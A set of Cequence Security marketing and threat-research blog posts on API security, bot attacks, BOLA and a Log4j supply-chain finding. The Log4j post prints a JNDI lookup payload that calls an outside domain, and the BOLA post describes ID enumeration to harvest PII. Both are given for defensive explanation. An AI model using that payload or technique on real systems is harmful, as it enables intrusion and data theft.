Most API Security vendors just detect threats and then rely on third parties for mitigation, while Cequence Bot Management provides native mitigation including blocking, logging, rate limiting, header injection, and deception. Cequence is the API Security leader that covers all stages of the API Security lifecycle – Discovery, Compliance, and Protection, natively without relying on any third-party solutions.

2021 Gartner® Hype Cycle™ report is information packed documents often used by clients as a means of gauging their investments in a particular technology segment. The 2021 Hype Cycle for Application Security is no exception, covering roughly 30 or segments within the application security space. Within the report, Cequence Security was recognized by Gartner as a Sample Vendor in both the API Threat Protection and Bot Management segments.

Even Perfectly Coded APIs Can Be Attacked

APIs are the connective tissue for everything we do digitally, making the importance of protecting them from all forms of malicious use critically important. The user interface for your mobile and business app that is designed to deliver an engaging user experience is supported by APIs connecting back to compute resources located elsewhere – be it the cloud, the data center, or both. Validating that APIs are the development tool of choice, a Cequence Security API Usage and Threat Report found that 14.4 billion or 70% of the 21.1 billion application requests analyzed were API-based. Confirming that even perfectly coded APIs are susceptible to attack, the Cequence threat research team found that 80% of the nearly 2 billion attacks mitigated were API-based. From the Bot Management Section of the Hype Cycle for Application Security:

“Bot traffic continues to rise, along with increasing sophistication of bots. Attackers leverage bots to automate their attacks onto enterprises’ online assets, including scraping, scalping and credential stuffing. The rise of “hu-bot,” combination of specialized bots with human-operated fraud farm services, requires ever-improving sophistication in detection and response.”

— Hype Cycle for Application Security, 2021, Bot Management Section, Jeremy D’Hoinne, Ramon Krikken, Akif Khan

A New Approach to Preventing API Attacks

Cequence is a pioneer in API security as we have been focused on it since 2015 when most of the vendors did not exist or were still in stealth mode. We took the approach that even the most perfectly coded account registration, shopping cart, or language translation API can be attacked and built a Unified API Protection platform that:

• Assumed that bad actors will use both APIs (and web) endpoints to make their attacks appear legitimate, easily bypassing JavaScript and SDK-based prevention tools and other security tools (e.g., firewalls, IPS, WAFs, Security Gateways, and fraud tools).
• Uses a multi-dimensional machine learning engine to create a behavioral fingerprint based on the analysis of the tools, infrastructure, credentials and behaviors used in every API transaction. The behavioral fingerprint casts the widest net with the highest efficacy possible and distinguishes malicious from legitimate intent.
• Leverages the world’s largest threat intelligence database with hundreds of millions of IP addresses and information on hundreds of thousands of malicious organizations. Cequence’s threat intelligence combined with behavioral fingerprinting helps our customers confidently prevent attacks with a high degree of efficacy.

The analysis can immediately be translated into real-time mitigation policies that include blocking, logging, rate-limiting, header injection, and deception.

API Security with a Prevention-First Approach

Unlike some of the API security upstarts, I am of the opinion that while shift left efforts are improving security for APIs and applications, they are not replacement for the protection steps described above. Improving API security on the development side is a constantly evolving team effort – it’s not a one-and-done. Developers are human, errors are made, processes not followed, and adjustments need to be made to make ensure these security gaps are discovered and remediated quickly. APIs discovered to be vulnerable yet too critical to be removed from production need to be protected from attacks while fixed on the backend. From the API Threat Protection section of the Hype Cycle for Application Security:

“Because APIs are typically used for access to data or application functionality, often linked to systems of record, the impact of an API breach can be substantial. Privacy regulations typically require reporting if private data is breached through an insecure API. APIs are easily and intentionally programmable, so a vulnerability can leak large volumes of data. That it can be challenging to separate valid API use from nefarious access raises the risk of blocking valid use.”

— Hype Cycle for Application Security, 2021, API Threat Protection Section, Mark O’Neill, Jeremy D’Hoinne.

The Cequence Unified API Protection platform builds upon our prevention-based expertise, adding a rich set of features that encourages collaboration between security and development teams – without injecting friction or additional work.

• Security teams can identify the entire attack surface area, effectively seeing what an attacker might see. Findings can be translated into actions quickly to close potential security holes.
• Both security and development can perform API discovery, inventory tracking and risk assessment to rein in the API footprint while uncovering and remediating common errors like poorly implemented authentication, exposed sensitive data, and API specification non-conformance.
• Development teams can use the platform’s ability to automatically generate OpenAPI specifications APIs, resulting in improved quality, consistency and security.

As the CMO of Cequence, I get the pleasure of seeing first hand how our products help our customers discover the true size of their API footprint, assess and remediate risks while continuously looking for and blocking automated attacks, business logic abuse and exploits natively, and in real-time. We believe these mentions are great validation points for our customers, our prospects, and our team, in addition to the creation of a brand new cybersecurity category – API Security. We’d love to show you how we can help your organization with API security and bot management – schedule a personalized demo now.

Gartner, Hype Cycle for Application Security, 2021, 12 July 2021, By Joerg Fritsch

Gartner does not endorse any vendor, product or service depicted in its research publications and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose. This graphic was published by Gartner, Inc. as part of a larger research document and should be evaluated in the context of the entire document. The Gartner document is available upon request from Cequence. GARTNER and Hype Cycle are registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and are used herein with permission. All rights reserved.

A recap of API threat statistics and unique threat patterns observed by the Cequence CQ Prime Threat Research Team.

Summary of Key Findings

• Unusual uptick in traffic from China spiking at a 200% increase
• User-experience business logic was abused to commit fraudulent purchases on stolen cards
• Pop in traffic from a holding company for scraping and hosting services

API Security Trends Observed

Between late February and early April 2022, the Cequence API Security Platform mitigated 108 million ATO attempts, using behavioral fingerprints and blocking millions of malicious IP addresses and organizations. During that same timeframe, the Cequence CQ Prime Threat Research Team observed an unusual uptick in traffic from China across the board, bucking the common bot tactic of blending in with normal traffic. In early March, the team tracked a sophisticated recon effort as a threat actor abused e-commerce user-experience business logic to attempt to commit fraudulent purchases on stolen credit cards through automated account creation. Finally, the team observed a notable pop in traffic from an organization Emeigh Investments LLC which appears to be the holding company for a set of scraping & hosting services.

Uptick in Traffic from China

To ensure their bot achieves its end goal, threat actors will typically make every effort to hide their bot traffic within legitimate end user requests. This means following the same buying process a user follows, funneling traffic through local, residential proxies, and so on. The Cequence CQ Prime Threat Research Team observed a steady uptick in traffic from China beginning in February and spiking at a 200% increase in early March. This pattern deviates from the hide in plain sight approach that bots typically follow, given the target customers were in the US and EMEA and did not transact much business with customers in China.

Image 1: Uptick in malicious traffic from China as a percentage of overall.

While the overall volume of traffic from China is small, the uptick shown in image 1 is worth noting as it was observed across multiple customers in the US and EMEA.

• Account takeover was the most common attack type observed within the traffic from China with roughly 600K ATO attempts emanating from China detected and blocked while protecting 265K unique user accounts, resulting in a customer savings of $1.46M, based on the Juniper Research report that states ATOs cost an average of $290 per account.
• One of the patterns observed saw the threat actor rotate across multiple login API endpoints on 15 minute intervals with traffic bursts of up to 80% of the normal traffic volume of a given API. At least 10 different Behavioral Fingerprints were triggered, representing signs of automation such as the same userID on many different IP addresses, further confirming that this was an automated.
• Attack traffic was distributed across 400K IPs from 168 organizations with most common being China Telecom, 189.cn, China Telecom Jiangx, CHINATELECOM Xinjiang Wulumuqi MAN network and Chunghwa Telecom.

Sophisticated Reconnaissance

In an example of how dedicated threat actors are, the Cequence CQ Prime Threat Research team observed an attacker methodically map a customer’s entire site to learn the precise workflow and uncover any potential weaknesses. The threat actor created an account then tested how it could be abused with an end goal of gift card fraud or fradulent purchases using stolen credit cards. The weaknesses the attacker exploited are common in online retail environments where important decisions regarding the tradeoff between shopper experience and security must be made. In this case, the attacker found that the account creation workflow would immediately authenticate, and authorize a user to do subsequent privileged actions like edit/change payment details. From an end-user perspective, this flow makes sense to reduce user friction for recently created accounts. However attackers realized they could use bots to abuse this business logic, and create accounts en masse. The attacker was committed to remaining undetected as they distributed more than 1.5M requests across 132,660 IPs from 20+ organizations. Ultimately, the attack triggered hundreds of Behavioral Fingerprints representing actions including use of outdated browsers, malicious traffic source, and rapid user-agent rotation.

Image 2: Malicious traffic observed during a sophisticated reconnaissance effort.

New Bulletproof Proxy Provider?

The threat team observed an ATO attack that encompassed 8.7M requests distributed across 1.1M residential proxies from 20 or so organizations. The threat actor rapidly retooled, triggering hundreds of Behavioral Fingerprints with actions that include many user names logging in from same IP, too many account verification attempts from same IP and same userid accessed over multiple IP addresses. One of the interesting characteristics of this attack is the emergence of a new organization as the source for malicious traffic. While only a small percentage of the traffic, the threat team observed a spike in use from Emeigh Investments LLC, a holding company for Sprious (https://sprious.com/), which names Blazing SEO (https://blazingseollc.com/), Scraping Robot, (https://scrapingrobot.com/) and WP Super Host (https://wpsuperhost.com/) as partner companies. The likely source of the IP addresses is Blazing SEO, given that their product line includes both data center and residential proxy offerings. The spike is of interest because of the somewhat sudden appearance as a top source of malicious traffic. As noted in the chart, they were more heavily used then Cogent and ServerMania – two sources that are constantly at the top of the list of organizations whose infrastructure is used in automated attacks against our customers.

Image 3: A potentially new Bulletproof Proxy vendor appeared in Q1 2022.

As documented in our ongoing research on Bulletproof Proxies, these vendors walk a thin line between legitimate and malicious use. Their services can certainly be of benefit to web masters and marketing teams who wish to test the performance of their web site. However, their tools are commonly used as integral elements of an automated attack. For a very low cost, a bot manager can subscribe to their services and easily distribute their attack across many, many IP addresses from a range of cities, states and countries. All with the end goal of masking identity and location while achieving scale.

Imagine it’s a Friday night and you are out with your friends to the club. At the door, the bouncer asks you for your ID and lets all of you in. You go to the bar and order some drinks – it’s a busy bar, so the bartender gives you a receipt with the number 30 on it to identify your order. After a while you are called to the bar, and you present your receipt, and the bartender hands you your drinks. You come back for a second round, and your friend decides it’s time to have some fun – they change the 0 on the paper to a 6. You go to the bar, present your receipt again, and to your surprise there is an order number 36. The bartender hands you a bunch of free drinks and bam! The party is turned up a notch.

The above story is an apt analogy for two application security concepts: authentication and authorization. Authentication is “Who am I?” and authorization, also referred to as access control is used to determine “What I can do?” The bouncer lets you in after looking at your ID, which is you being authenticated to the system (aka the club). Later, when you manipulate the receipt from the bar, you are modifying the bars’ authorization (what drinks you receive based on what you purchased). Security systems operate no differently.

In simple terms Broken Object Level Authentication can be defined as an authentication coding error that allows a rogue user to access objects that they should not have access to through manipulation of the object IDs. Broken Object Level Authentication (BOLA) gives attackers access to data they should not have and as such, ranks as the #1 threat in the OWASP Top 10 lists for both Web Application and API Security.

Broken Object Level Authentication and Enumeration Attacks

Most of the applications these days represent their resources in the form of a JSON, let’s say for example a telecom company has an API endpoint that stores information tied to a phone number in the following JSON format with corresponding details:

• phoneNumber: {”5857658402”}
• emailAddress: {”mattjones@yahoo.com”}
• firstName: {”matt”}
• SSN: {”885-383-9193”}
• isLinePortable: {”True”}
• physicalAddress: {”1 Memorial Drive, Rochester, New York”}

The API call related to accessing the information tied to the phoneNumber looks like this:

• GET /user/account-details/phoneNumber:{phoneNumber}

Each user will have details tied to their very own phone number which is the phoneNumber field in this case. The URL for an endpoint like this would be:

• mytelecom.com/user/account-details/phoneNumber:5857658402

There are many objects present in the JSON example above that a user can query. Let’s envision a scenario where a user visits the telecom website wanting to understand if their phone number is eligible for portability to their potential new carrier. Let’s assume the telecom API has strong authentication controls and only lets the user go through with this request if they authenticate themselves to the application. The application has deployed a 2FA following best security practices. Therefore, the user creates an account with their phone number, which then gets verified by the application through a One-Time-Password (OTP) and they are authenticated to the application. Now the user makes a series of calls to the API in order to update their information once authenticated:

• POST /user/account-details/emailAddress:{emailAddress}
• POST /user/account-details/firstName:{firstName}
• POST /user/account-details/SSN:{SSN}
• POST /user/account-details/physicalAddress:{physicalAddress}

There are multiple object IDs present which are linked to various objects. The most important question to answer here is which object IDs are protected by user access control mechanisms. This uncertainty is precisely where the attacker comes in and tries to leverage the cracks in architectural practices. The attacker sniffs the traffic between the web application and the API and finds the following call we discussed earlier:

• GET /user/account-details/phoneNumber:5857658402

The attacker then tries to change (enumerate) the phone number in the next call it makes to the API to 5857675959 and makes the following call:

• GET /user/account-details/phoneNumber:5857675959

The attacker then realizes the API responds with all the PII tied to the phone number mentioned above, including the email address, SSN, firstName, physicalAddress etc. This is an example of strong authentication but poorly implemented authorization. The user (attacker in this case) is allowed to specify the ID of any object they want to access, and the details are returned regardless.

Enumeration Leads to ATO

The motivated attacker then writes a script that iterates (enumerates) through a series of phone numbers, making the same API call over and over again. This allows the attacker to discover all the confidential information of the users by manipulating the IDs. We live in the information age – information is power – any phone number that responds with valid data represents a user whose personal information is leaked.

With the help of PII obtained via the BOLA vulnerability, the attacker can now easily execute an ATO against financial services, retail, telecom/mobile device user accounts. An extreme use of the BOLA vulnerability is a SIM swapping attack to acknowledge all the 2FA requests to further maintain persistence within victim accounts. The practice of displaying object IDs is feasible and generally acceptable in cases where the information on the website is open for public consumption as is the case for news articles: https://newyorktimes.com/news/919. You would likely get lucky and access another news article by changing the ID in the URI to https://newyorktimes.com/news/921.

But there is no proprietary information that represents a business risk if leaked. If the IDs are public facing, certain authorization checks need to be implemented where the application checks each client request if it is authorized to access the object ID it is willing to access. Code reviews can then be implemented to ensure authorization checks are in place where needed.

When a developer facilitates proper access control and authorization checks, vulnerable endpoints can be fixed by defining which users can access which object IDs. Finally, even the best code hygiene process may not find every vulnerability before an attacker does. Proper API security tools are critical for finding authorization and authentication coding errors before they are published while detecting anomalous behavior indicative of a BOLA vulnerability exploit – enumeration, ATO, content scraping.

In an average week, the Cequence API Security Platform blocks roughly 11 million ATO attempts that are exploits of the Broken Object Level Authorization vulnerability. The attacks are commonly sourced from known Bulletproof Proxy vendors and target all industries as shown in the image.

Level Up Your API Security with Cequence

Schedule a personalized demo to see how Cequence can protect your APIs from ATOs and enumeration attacks that may be the caused by the BOLA vulnerability.

While helping our customers validate their patching efforts, the CQ Prime Threat Research team found additional unpatched servers with the Log4j vulnerability hidden within their digital supply chain, dubbed LoNg4j.

The Risks

• The Log4j vulnerability is more widespread than we thought, spread across the digital software supply chain.
• Testing reveals that LoNg4j discovery can take as long as 15 hours to discover in contrast to traditional Log4j vulnerability results which can be immediate.
• Unpatched Log4j instances are likely more common than we think across the digital supply chain.
• Initial testing may be too focused on immediate blast radius.
• CISA identified 15 vulnerabilities that malicious actors routinely exploited in 2021 and Log4j was number one.

What the CQ Prime Threat Research Team Found

The statistics show that even after a globally known vulnerability has been disclosed and a patch made available, organizations are still suffering from a lack of applied patches.

While helping our customers validate their Log4j patching efforts, we found that not patching their own estate is only part of the problem. We found unpatched servers within our customers’ digital supply chain that appeared some 15 hours after the initial test results were received. Dubbed “LoNg4j”, this new exploit demonstrates the widespread implications of the Log4j vulnerability and organizations are potentially at risk of it for years to come.

We also found similar attack vectors that exploit Log4j but are performed through the DNS redirection of popular enterprise solutions such as web conferencing. Detecting this type of LoNg4j exploit requires an extensive test infrastructure that most organizations have not allocated. These two pervasive LoNg4j attack vectors mean that a very patient attacker can eventually gain access to a victims’ application through sheer persistence. As an example, we searched for Log4j and LoNg4j vulnerabilities in the world’s Top 50 most used companies and websites. As of April 29, 2022, an initial scan found at least 10% of the websites were vulnerable to Log4j.

When exposed to more persistent analysis, that number went up 300%, indicating the potential existence of the LoNg4j vulnerability. On the positive side, the CQ Prime Threat Research team also identified companies that are doing API Security well. The team looked at organizations in healthcare, retail, and finance, not including our customers, against eight criteria that included the number of exposed APIs, development apps, health endpoints, insecure SSL, service provides, open API files, and exposed files to determine an API success score. Of the companies evaluated, Express Scripts, Costco and JP Morgan came out on top.

Number of Vulnerable Systems Tripled in One Organization

While testing our customers’ applications to validate their Log4j patches, we discovered on numerous occasions that they were still responding back as vulnerable to the Log4j vulnerability. With one customer, we had tested across their patched applications, we saw the number of Log4j vulnerabilities go from 10 vulnerable systems, then to 8, then 6, and then suddenly 14 vulnerable systems. In total, 38 vulnerable systems were found that contained the Log4j vulnerability.

Why?

When we looked deeper, each of the applications that responded back with a positive confirmation that they still had unpatched Log4j components were in fact using a popular 3rd-party log storage & analysis cloud service. The 3rd-party log storage and analysis service were still using an unpatched Log4j logging component somewhere within their service but did not realize that they had the vulnerability.

How Does the Log4j Exploit Testing Work?

The primary method to figure out if an application has the Log4j vulnerability is to embed a malicious domain lookup request such as sending the following command within a user-agent within a browser:

{jndi:ldap://uniqueIDperTEST.example.com}

The vulnerable Log4j logging component will generate a DNS query to resolve the malicious domain contained in the above command request. The DNS query to the malicious domain confirms that the logging component is vulnerable and there is a high likelihood of it containing the Log4j vulnerability. In essence, this is how all scanners that test for the Log4j vulnerability discover its existence.

Going Long on LoNg4j

As we researched the Log4j vulnerability across our customers, the LoNg4j pattern began to emerge, highlighting how interconnected modern enterprise IT infrastructure is and how this digital supply chain extends far beyond the known applications. Modern cloud-based application software is often written where code can make calls to other libraries or services. In our customer example, the application was making calls to a popular 3rd-party log analysis cloud service which turned out still had an unpatched Log4j component residing somewhere within the application. This log analysis cloud service is used by customers to extract meaningful insights from their applications such as who is logging in, how often they log in, and what is their general behavior.

In this case, most likely there was a cron job that read the transferred logs at 12-to-15-hour intervals. As the Log4j component read the JNDI command stored in the transferred logs, the vulnerable Log4j component repeated the unique DNS query of the malicious domain sent above by our test team to the customer application. We know this happened because we received the DNS query to the malicious domain about 12 to 15 hours after we had originally sent it.

In another example, we found a customer that had a permutation of this threat that was enabled by DNS redirection. To obtain 3rd-party cloud services, organizations often rely on DNS redirection to make the service seamless work. These solutions are enabled by setting up DNS records as a subdomain for a customer. For example, you will often see https://webconference.customerdomain.com that redirects to the web conferencing solution in use. In this example, we found that the web conferencing solution had a Log4j vulnerability that could be exploited by an attacker.

Depth and Breadth of Digital Software Supply Chain

We suspect that we will continue to see many other LoNg4j examples for years to come because of the depth and breadth of the deployment of Log4j across organizations around the world. Today’s modern organizations are layered in software that has been written using open-source software, 3rd-party software and API-driven cloud software services, helping to ensure that software can be written and deployed quickly. Unfortunately, these pieces of software often pull along with it, the vulnerabilities that exist within those 3rd-party components.

What has resulted is a far-reaching digital supply chain with potentially vulnerable applications running across thousands of organizations. Most security and IT teams probably do not know the full scope and severity of the security blind spots that exist within their organization with LoNg4j.

Adding an exclamation point to the potential depth of the LoNg4j challenge, a survey by the Ponemon Institute found on average each organization works with 5,884 third parties. If any of them are vulnerable and they are in your supply chain, your data is potentially vulnerable. Unless and until you can have each supply chain vendor in your digital supply chain patched and verified, organizations can’t declare victory over Log4j. This is something that can take months to years depending on the size of the organization.

Recommendations

Organizations need to be aware of the full extent of how deeply embedded the Log4j component is in their digital supply chain. We expect even with extensive patching programs that Log4J will continue to remain a hidden risk for many years to come. What that means is that unless there is an expanded remediation program to include software that has Log4j components hidden in their software, organizations will continue to remain exposed to cyber-attacks that target the Log4J vulnerability. We recommend each organization take a two-stage process to evaluate software applications if they have a Log4j software component. Working with internal development teams, you can enable extensive patching programs to ensure that each Log4J patch is applied. Most organizations have this step-in hand.

The second stage should look to identify application partners in your digital supply chain that have hidden Log4j components in their software. Working with the respective software vendor, you can determine if they are susceptible to vulnerability and if a patch can be applied. An alternative organization can use their WAF to develop virtual patching rules that ensure that any incoming request is immediately blocked, ensuring that you have time to remediate your internal systems.

Summary

• Expand testing parameters to include 3rd-party targets in your digital supply chain
• Use all available methods of detection and ensure outbound DNS requests are monitored
• Lengthen testing timeframes up to 24 hours to accommodate supply chain traversal including any log analysis or event correlation

Not sure if your servers or servers in your digital supply chain are vulnerable to LoNg4J?

Click here to see your organization from an outside-in hacker’s view and determine the impact of this vulnerability in your organization.

The Cequence Unified API Protection solution v5.1 release combines the API Spartan and API Sentinel capabilities into a single integrated release and adds new capabilities to streamline administration and enhance API vulnerability and automated bot attack mitigations.

Following are the key new features in v. 5.1:

Enhanced Role-based Access Control

Administrators can now delegate access to the Cequence dashboard, enabling users to access specific functions and roles. Such users may log in to the Cequence dashboard with access only to certain API Spartan functions, API Sentinel functions, or a combination of both. This enables administrators to limit access to users based on their granted roles thus reducing the risk of unauthorized configuration or policy changes.

SIEM and SOAR Analytics Enhancements

Bot Detection and Mitigation events can now be exported to an Amazon S3 bucket. Administrators can use this feature to regularly export such events to an S3 bucket from where the files can be processed by third-party analytics products. This enables administrators to process event findings using their enterprise analytics products like SIEM or SOAR systems for offline analysis.

Blocking of Bad Traffic Based on Confidence Scores

Administrators can now set policies that dynamically block bad traffic based on confidence scores computed by the Cequence Unified API Protection solution (UAP). Using this feature, administrators no longer need to manually tweak policies to add, edit or remove fingerprints or IP addresses. This feature automatically profiles incoming traffic and identifies bad fingerprints based on behavioral patterns.

Faster Identification of Attacks on Hosts, And Root Causes

A new pivot has been added to the Bot Detection dashboard to pivot findings based on the Host value. This will help administrators to quickly identify the hosts that are being targeted by malicious automation or bots. New operators in the Bot Detection dashboard now allow administrators to filter the fingerprint list based on their presence or absence in certain datasets. This will allow them to be more efficient in analyzing the fingerprints of interest to get to the root cause of automated attacks faster.

Detection of Sensitive Data Exposure with Low False Positives

API Sentinel introduces new context-aware sensitive data detection using a Natural Language Processing (NLP) machine learning technique. This allows security teams to find sensitive data exposure using contextual clues (e.g., presence of keywords close to the actual detected value). This complements and extends the Regular Expression-based sensitive data detection, thereby improving the accuracy and scope of sensitive data detection out-of-the-box.

Generation of OpenAPI Specifications for Discovered APIs

In some customer deployments, enterprises end up discovering APIs using Cequence that they were unaware of, either because those APIs belonged to a legacy application that may not even have an owner anymore, or because those APIs were exposed publicly without explicit review or approvals from the security teams. This recently happened at a customer – one of the largest telcos in the US – three internal API endpoints were accidentally exposed to the public – detected by Cequence on Day 1 to avoid leakage of any sensitive information. In cases where specifications are incomplete, outdated, or non-existent, security teams may not have the full context of why such APIs were exposed publicly and their security posture.

Cequence can now automatically generate OpenAPI specifications for discovered APIs. This allows security teams to baseline discovered APIs to the runtime behavior observed by Cequence, including usage of authentication and other security schemes, headers, query parameters and body payloads. Security teams can then share the automatically generated specifications with the application owners and extend the specifications to the desired security posture expected from the APIs.

Origins of Malicious Traffic Improvements

Administrators can now export the HTTP Referrer field in data export integrations to external systems such as syslog, SIEM and SOAR. This field can provide additional context about the clients that were blocked by the Cequence UAP to better inform security and fraud analysts about where malicious traffic was originating from.

The Cequence UAP is the only solution on the market that addresses the API security problem with a prevention first approach that natively detects and mitigates billions of attacks and vulnerabilities against APIs for our F500 customers every day.

Watch the video to learn more about these new features or schedule a live demo today!

As a Co-founder and Chief Product Officer, I am happy to read the latest Forrester Wave^TM Bot Management, Q2 2022, where Cequence is named as a strong performer. Highlights from the report write up include “strong go-to-market and execution roadmap” and an “API-first strategy.” Reading positive words from a respected analyst is great, but there are several other reasons for me to be happy about this report.

This is Our First Participation in the Forrester Wave^TM Bot Management Report

First off, I want to acknowledge that participating in the Forrester Wave^TM process takes a lot of doing. It evaluates vendors using a 25 point selection criteria with a detailed questionnaire and demo. This is followed by customer references to validate vendors’ claims. Our tremendous growth in terms of customers, revenue and employees has enabled us to participate this time and we are delighted to do well in our first attempt. Having been through the process once, we have better appreciation and understanding of the process, and we are confident that we will do even better the next time.

Cequence is the Only API Security Vendor to be Mentioned in This Report

The API Security market is a crowded space with many vendors offering a variety of capabilities on the spectrum. Almost all of them claim detection of bot attacks, like ATOs and resource exhaustion, since these are included in the OWAS API Top 10 list. Many of these vendors can only detect attacks and do not have native mitigation capabilities, instead relying solely on sending signals to a WAF or another tool. This is a very limiting approach in the Bot Management space. None of the API security vendors made it in this year’s the Forrester Wave^TM Bot Management report. This report validates Cequence Security’s leadership position in the API Security space by stating – “Customers aligned with Cequence’s API-first vision should consider the vendor as a viable bot management option”.

Recognition of Our Advanced ML/AI That Can Handle Bots’ Evolution and Evasion

Our customers appreciated the product’s “ability to adapt to changes in bot behavior”. This is a huge accolade for us. All Cequence Security customers that Forrester referenced for this report, are Fortune 50 names and are a huge target for bots. In just these few reference customers, we are protecting roughly 1 billion API transactions per day. Some of these customers have been using our product for 6 years and together we have seen bots evolve from simple tools to Bot-as-a-Service with the level of sophistication outsmarting most other Bot Management vendors in the report. Our close partnership with our customers is a key reason for why Cequence Security has a never lost a customer and we have displaced the leaders in this report in many large enterprise accounts. Our investments in ML/AI, our product innovation and our key customers (who are prime targets for bots) has kept us ahead in the game of sustained efficacy.

Endorsement of Our Strategy

The Forrester Wave^TM Bot Management report scored highlighted our strategy and vision. Our vision since the beginning of the company is that web applications will become just presentation of business logic driven by APIs. Therefore, protecting web applications from attacks is all about protecting APIs. Protecting web applications with integration into their presentation layer with JavaScript and mobile applications with SDKs that also interfere with the presentation layer, is a losing strategy. Very often we are brought in by large enterprises to protect their APIs from bot attacks, while they have deployed other vendors in this report for web application protection. The sustained efficacy, visibility and ease of deployment we provide is so compelling that we eventually displace these vendors to protect all their public facing assets. The report underscores this strategy in a big way by saying this about API Security and Bot Management – “the two are inextricably tied together”.

Product Dashboard and Integrations

Our product’s dashboard and its ability analyze and visualize each application/API traffic individually is unique in this space. So is our ability to import data feeds and export findings to enhance the overall efficacy of the solution and its value to customers. Security personnel love the detailed analysis from the ML/AI engine on each and every API call presented in the dashboard. The class of customers we serve cares deeply about false positives, as they negatively impact the end-user and ultimately the business. Having a detailed explanation of every detection helps them vet these results and adjust thresholds to provide optimum security with minimal false positives. Integrations into several security and fraud systems on suspicious but “not bad enough” API calls leads to overall higher efficacy of the security eco-system.

We also one fundamental disagreement with the report. It penalizes us for not having out-of-the-box list of good bots. It ignores the fundamental difference in our ML/AI and approach to this problem. Most other vendors have such lists, and they are based on certain HTTP headers, geo-IP information of good bots like search engines, marketing analytics, application performance monitors, etc. We don’t need such a list. Our ML/AI automatically learns good bot behavior from bad bots and automatically classifies them in out-of-the-box policies which govern how the good bots are managed. These behavior patterns are shared among industry peers when applicable. This approach reduces the burden on security operations people by not having to manually configure hundreds of good bots. Our customers love it because they don’t have to worry about changes to good bots and introduction of new good bots. With other vendors, customers are stuck with their vendors updating their static good bot list while Cequence customers automatically get the update based on the bot’s behavior, no configuration change needed.

Finally, no report of such kind is perfect and fair to all vendors. While we are pleased with our results, we do believe there is a bias towards vendors with higher number of customers, without any consideration to average customer value (ACV), average length of customer relationship. Not surprising that 2/3 leaders are CDN vendors, and the other 3^rd focuses on mid-market customers. Why does this matter? It ignores the sophistication of bot attacks and sustained efficacy solutions must provide to continuously protect them from this ever-evolving threat. We will provide this feedback to Forrester and look forward to participating in the next cycle. Thank you, Forrester.

Schedule a personalized demo now.

Today, application programming interfaces (APIs) act as the connective tissue for everything we do digitally. Designed for machine-to-machine interaction, APIs are the tool of choice for developers because each API includes all necessary commands, payload, and data to produce engaging user interactions. The most recent Cequence Security API Usage and Threat Report found that 14.4 billion or 70% of the 21.1 billion application requests were API-based. Further validating the explosive use of APIs, Gartner states that by 2023 over 50% of B2B transactions will be performed through real-time APIs versus traditional approaches. The widespread use of APIs will only continue to grow organizations expand their use of microservices and create new cloud-native applications, which introduces both a security and a management challenge.

With the understanding that even a perfectly coded API is susceptible to an attack, Cequence Security and Software AG are pleased to announce the delivery of a joint solution that addresses both the API protection and the management challenges organizations face as they grapple with widespread API usage.

Shield Right While Shifting Left

With the new integration, customers can use the Cequence API Security Platform to shield right by discovering and protecting their APIs, natively and in real-time, while the webMethods Gateway will help them shift left by more effectively managing their API development lifecycle.

Deployed in front of the webMethods Gateway, the Cequence API Security Platform is the only solution that can help organizations achieve the following business objectives:

• Reign in Unmanaged APIs: The Platform identifies all APIs, including those not managed by the webMethods Gateway. Once discovered, those newly found APIs can be fed to the webMethods Gateway for ongoing management.
• Improve Secure Coding Practices: Customizable risk assessment rules help uncover APIs exposing sensitive data, using poor authentication practices or out of conformance with defined specifications.
• Reduce threat prevention administrative efforts: The Platform is the only offering that uses hundreds of Behavioral Fingerprinting-based policies to prevent sophisticated API attacks, natively and in real-time, eliminating any reliance on third-party tools such as a Web Application Firewall (WAF). Flexible response options include block, rate limit, geo-fence, deceive, and forward to 3^rd-party.
• Leverage Existing Security Ecosystem: REST-based APIs allow you to import threat intelligence, export findings to SEIM/SOAR tools, ingest traffic from other sources and integrate with CI/CD frameworks.

Together, Cequence Security and Software AG can help you improve your API security posture by shielding your APIs from attacks while Software AG webMethods Gateway helps you manage your shift left efforts.

In my previous blog, I talked about the need to strike a Shield Right While Shifting Left approach to protect your APIs while continuously discovering and tracking APIs while assessing and remediating risks associated with coding errors before they are published.

With the Shift Left while Shielding Right approach in mind, here are the remaining five criteria your API security solution must meet to ensure comprehensive API protection.

#6 Stop Automated Business Logic Abuse

Guideline
Look for an API security solution that can protect your APIs from all forms of automated business logic abuse. Common examples of business logic abuse include:

• The enumeration of repeated alpha-numeric fields in API calls.
• Adding extra parameters to API calls.
• Setting unsupported parameter values in API calls.
• Forcing APIs to return verbose errors and leak sensitive information.

Pick appropriate test cases to evaluate vendors’ ability to stop business logic abuse.

Importance
Attackers often use enumeration techniques to perform API reconnaissance, looking for potential targets. Once they find a potential business logic abuse target, new forms of automation are used to execute an account takeover attack (ATO) or fake account creation. Therefore, stopping business logic abuse early in the attack cycle is key to success.

Pitfalls to Avoid

• Avoid signature-based tools, like WAFs, that are easily bypassed by attackers.
• Avoid offerings that rely solely on sending signals to third-party systems such as WAFs. Such tools cause a time delay between detection and response, which leaves APIs vulnerable to compromise.

#7 Detect Automated Bot Attacks and Fraud

Guideline
APIs enable attackers to execute all the attacks listed in the OWASP top automated threats, often resulting in fraud and other business-related losses. Your API security solution must be able to detect signs of malicious automated intent hiding in plain sight by analyzing behavior in real-time using ML/AI.

Importance
Bot attacks directly impact an organization’s bottom line, resulting in fraud, increased infrastructure cost, poor customer experience, and inefficient marketing campaigns. APIs allow bots to send high volumes of requests that appear legitimate and pass most security controls, but as a group, they cause significant damage. You need an API security solution that prevents bots out-of-the-box with high efficacy rates.

Pitfalls to Avoid

• Steer away from first-generation bot mitigation solutions that require application changes and integrations to collect attack telemetry.
• Avoid API security upstarts that don’t have depth in their bot detection capabilities and don’t cover all types of bot attacks.

#8 Natively Mitigate Threats in Real-Time

Guideline
Select an API security solution that can natively detect AND mitigate threats without relying on any third-party solution integrations. The vendor should offer a variety of response options, including deception that is configurable by users based on APIs and threats detected. The solution should also support configurable automated responses for threats based on pre-defined policies to reduce administrative overhead and exposure time.

Importance
Native mitigation as compared to reliance on third-party solutions is critical for the following reasons:

• Native mitigation reduces the time window between threat detection and response. It should be possible to eliminate this time lag completely by having predefined threat policies and responses in your API security solution.
• The third-party solution response options may be limited to simple IP addresses and basic WAF rules, which attackers can easily bypass.
• Depending on the network architecture, the third-party solution may not see the same API traffic as your API Security solution, making it useless from a response point of view.
